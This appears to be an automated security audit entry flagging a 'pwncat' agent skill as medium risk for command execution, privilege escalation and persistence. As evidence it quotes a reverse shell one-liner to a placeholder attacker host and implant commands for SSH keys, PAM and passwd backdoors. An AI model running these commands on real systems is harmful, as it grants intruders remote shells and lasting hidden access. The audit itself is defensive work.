pwncat
Warn
Audited by Gen Agent Trust Hub on Nov 10, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPRIVILEGE_ESCALATIONPERSISTENCE
Full Analysis
- [COMMAND_EXECUTION]: The skill provides instructions for establishing reverse shell connections using standard redirection patterns. Evidence: 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' in SKILL.md and references/connection-modes-and-opsec.md.
- [PRIVILEGE_ESCALATION]: The skill documents modules for enumerating and executing privilege escalation paths, allowing the acquisition of higher-level access on target Linux systems. Evidence: the use of 'escalate run' and 'escalate list' commands throughout the documentation.
- [PERSISTENCE]: The skill includes instructions for installing various persistence mechanisms, including SSH keys and backdoor user accounts, to maintain access across sessions. Evidence: 'run implant.authorized_key', 'run implant.pam', and 'run implant.passwd' commands documented in SKILL.md and the references directory.
Audit Metadata